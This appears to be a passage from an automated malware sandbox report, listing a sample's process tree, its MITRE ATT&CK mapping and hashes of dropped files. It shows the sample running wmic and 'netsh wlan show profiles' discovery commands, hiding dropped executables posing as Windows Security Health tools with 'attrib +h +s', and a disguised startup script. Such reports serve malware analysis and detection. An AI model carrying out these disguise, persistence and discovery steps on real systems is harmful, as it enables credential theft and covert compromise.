    3⤵
    PID:3184
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:2816
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:4680
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2444
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1604
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:1788
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:4792
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:1180
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3840
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4980
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:3516
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:4684
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:4328
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:648
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4780
- C:\ProgramData\Microsoft\SecurityHealthSystray.exe
  C:\ProgramData\Microsoft\SecurityHealthSystray.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\ProgramData\Microsoft\SecurityHealthSystray.exe
    3⤵
    - Views/modifies file attributes
    PID:2440
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:2076
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:3788
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:608
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3700
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1572
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:1864
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:4464
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:1984
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1468
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1560
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:3684
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:4784
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:4124
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4932
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5096
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:1676
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:436
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:3732
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:464
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2104
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:3972
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:3916
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:4588
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3936
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4628
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:2104
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:4256
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:4624
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4416
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4384
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:332
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:4948
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:1572
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4628
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1120
- - C:\Windows\System32\Wbem\wmic.exe
    wmic csproduct get UUID
    3⤵
    PID:3888
- - C:\Windows\System32\Wbem\wmic.exe
    wmic os get Caption
    3⤵
    PID:2740
- - C:\Windows\System32\Wbem\wmic.exe
    wmic cpu get Name
    3⤵
    PID:2904
- - C:\Windows\System32\Wbem\wmic.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4480
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4460
- C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\SecurityHealthWatcher.exe
    3⤵
    - Views/modifies file attributes
    PID:4100
- C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
  C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1236
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\ProgramData\Microsoft\SecurityHealthWatcher.exe
    3⤵
    - Views/modifies file attributes
    PID:4656
- C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
  C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\system32\attrib.exe
    attrib +h +s C:\Users\Admin\Microsoft\SecurityHealthWatcher.exe
    3⤵
    - Views/modifies file attributes
    PID:3992
- C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
  C:\Users\Admin\AppData\Local\Temp\SecurityHealthWatcher.exe
  2⤵
  - Executes dropped EXE
  PID:384

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SecurityHealthSystray.exe

Path C:\ProgramData\Microsoft\SecurityHealthSystray.exe
Size 15.3MB
SHA256 02994a804f39c8f5d73cdec837ae731f7e6c0dd7f9a6a73be0c1ec057d81aaee
MD5 8ab88c2183caaf622831478f54d85cdc
SHA1 e308631895ff79972faebc802e467e9080f4040c
SHA512 54fd4757227bfb072706839deb7ba2b8b9c8d7037b00dd763ec13d5d7c158ff7fd4a19e556ea0abc18d23be578a30a172de9c577e4c4c9dc91c8c0f5862dacb1
SSDEEP 196608:vC/miPUz3IpJPvqhUCwXtT/Gw1TWK5FJ7SON1Ql31u/4nRUHkOT0:vgwjiZJGwPSOXU38lE7
TLSH
T129F69D83EC7545D8C0A9927AC6669653BB753C884F3163D32B60B6346F37BD0AEB9700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 84bb5fcde33167c5342fb4bf02c25ce315c016a2118c51d24082254695163a71
MD5 602afcdfb3494a9c259703f0752a4e53
SHA1 3de942cd16f4cf3170fce569462b040eab77d2a3
SHA512 c7b89f2a6191ed03c0f93a4baa6679d2afad52dc1857b40c730ae9ecc75cb00d960c283c29b97caeeb1e475db1d60e45dc585621948901015ad0615fd4c086ad
TLSH
T120112223F38C89A1CC861639509DAC5172B686CB81AEDFDF7FC0C210E5AF684CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb
MD5 9bc110200117a3752313ca2acaf8a9e1
SHA1 fda6b7da2e7b0175b391475ca78d1b4cf2147cd3
SHA512 1f1af32aa18a8cbfcc65b0d4fb7e6ca2705f125eaa85789e981ee68b90c64522e954825abf460d4b4f97567715dfae8d9b0a25a4d54d10bc4c257c472f2e80fb
TLSH
T184112223F78C8921CC961539509DAC5172B586CB81AFDE9F7FC0C210A1BF584CB611D4
MD5 SHA1 SHA512 TLSH

Submit Download

5e0odphh.dll

Path C:\Users\Admin\AppData\Local\Temp\5e0odphh\5e0odphh.dll
Size 4KB
SHA256 583c1eb88c76b220b7d881cd3ca88f9b70ed8f8ed1babf0e59db86c145bee71e
MD5 a62ced51191e6a31b08be44d723ad51d
SHA1 a837c100e8d79449169aae4fc65eacb75f3b4e53
SHA512 75ed307190074dd6ce83cd0425f58fb550aa4c0482d2bac9b0f422238ce9defd73abf21211aa8778a545d3acfda6b045cf68a7d9d8515d2d93a3a3d8132c109e
TLSH
T10381321693DCC56AF4BE07757EF383076B75E9109A22A34F1C84125CAC703646B25FB6
MD5 SHA1 SHA512 TLSH

Submit Download

Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\E9v8kuQ9ns\Display (1).png
Size 604KB
SHA256 ef2d431db0f08bebf867a88d4120cd75550b183feb0ee7ddf09e9ee6fd9f3a8f
MD5 f4f179fcff59429eadf2cbe53f0d0eb8
SHA1 9692e7bae319bf4a96c4303c11019da5e5b9bcbb
SHA512 5f20f33b137522d7d5fc4d0e1a7893c32ee1e9df2ac386f83c721cb7ee0015608214aa699899929a517164e4968643c116fe819049abf8ecf8da140c9030a7fa
SSDEEP 12288:6c1hoQfl9s6uyVx7K7UNiWDtfjUkqOPI7PPlCQqzQyIR3ryVF2kNi:6cIQfl9s6RFK7UftjtPOPP8QqzFE38Fo
TLSH
T134D423793475C09CE2EEB577FCE65FC689002BA1D4325A46B469DE2B3002FB7BA15704
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES209E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES209E.tmp
Size 1KB
SHA256 0935c1325e183aca73f2390b09a4fe288a8adb730c9187e195cb92eeda7dd7f3
MD5 1eb0f301691ab73c51c34355c607bfff
SHA1 759a3f8914c965fc78dabf961e247c243a120689
SHA512 9661cc20c752c685e7e918b99206279f8008506cba9ef960292cc6a5b68587408f4e93194a2c96f2afb6b31146eaf63aa96aef7a8e2a7769ea9b7f03418a8d99
TLSH
T11C21890593E9471FF07757316AFA1B2FA278FD94EF61535A854042282C91204EEA0B73
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tlj4vjdr.b1w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tlj4vjdr.b1w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

RealtekAudioUpdate.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealtekAudioUpdate.vbs
Size 2KB
SHA256 e0377703114809d636d1f365eeb1b14e032eaa934d20b28e41440876a64a5386
MD5 c6599bba4ec24dc27875d1d5f70a7722
SHA1 324c83e1c061aa30bfe3f003da1eae69c91e2220
SHA512 9e8077dbf097d9d5ba090339754039bffe7d19d8fddfb7d3e6a2bf4bfa7679cbc593dafb02b24d04079acb0dbe3b4b2ff27b7f2bda2471730963d5238b04466b
TLSH
T14041C25AF72D82319113A184A2BCBC1FE823A576482359EB4D4C54D89A09FFDD2E48DF
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
MD5 6e2386469072b80f18d5722d07afdc0b
SHA1 032d13e364833d7276fcab8a5b2759e79182880f
SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
TLSH
T184511117068D90FC22B101BDC41FA61EE24E93A305DFFDC9798DBE5E274177822562B1
MD5 SHA1 SHA512 TLSH

Submit Download

5e0odphh.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5e0odphh\5e0odphh.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
TLSH
T159114EF8AD2FD65A44336B37FE7B5484EF3613A3022A911ABD8C41244F3185493AAE59
MD5 SHA1 SHA512 TLSH

Submit Download

5e0odphh.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5e0odphh\5e0odphh.cmdline
Size 607B
SHA256 4ac29019cc40283f41edff40a0e12024109a68d36025fb43cbca4ff9d6d823ab
MD5 4ce8c03ba78d491d9f0adf694671f113
SHA1 b67a09235c659dae503ff93c3dd453d3f4914605
SHA512 7bf915b3b078eb1e15a8a98d59009f8aeb20cce832ce079de83dc75a40142397ccf536ff51ce21dd60d0944d51cbb1d003dd26f3b987e7addd8c598c31f154b7
TLSH
T1FDF0AC36823BC5BE59F93403156EDA9CC673035B3089AF886584CD2EE9A30001B91795
MD5 SHA1 SHA512 TLSH

Submit Download

CSC6E70738DF081466195C62FF3BD482A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5e0odphh\CSC6E70738DF081466195C62FF3BD482A.TMP
Size 652B
SHA256 08570380440897023b12f143918afa5bcc52ed6ddef792165a00c0daad5da365
MD5 63281dff9889683228e765c3aa26b592
SHA1 d840cb1bc39d0ef0a552490dab6b5bf550f0cd92
SHA512 5761002075a5c48ff02eea780d1c4c8d42fc54a489615f0454d644489d055eb984df2a62176ddc9b9a5e5b671c3d3db27ca2493a3737a82af38e4b2546867d6b
TLSH
T14BF03A0963F8020AF0F74B30BEF6436391ADBC64DE3293ED144003592C646208962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1604-56-0x00000222AE5B0000-0x00000222AE5D2000-memory.dmp

Download

memory/4356-93-0x00000230F2130000-0x00000230F2138000-memory.dmp

Download